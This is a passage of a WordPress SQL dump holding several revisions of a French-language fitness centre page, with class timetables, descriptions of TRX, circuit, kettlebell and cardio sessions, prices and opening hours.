5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:54:00', '2013-07-03 17:54:00', '', 11, 'http://www.crosstrainingcenter.be/?p=203', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(204, 1, '2013-07-03 17:57:10', '2013-07-03 17:57:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:57:10', '2013-07-03 17:57:10', '', 11, 'http://www.crosstrainingcenter.be/?p=204', 0, 'revision', '', 0),
(207, 1, '2013-07-03 18:03:14', '2013-07-03 18:03:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:03:14', '2013-07-03 18:03:14', '', 11, 'http://www.crosstrainingcenter.be/?p=207', 0, 'revision', '', 0),
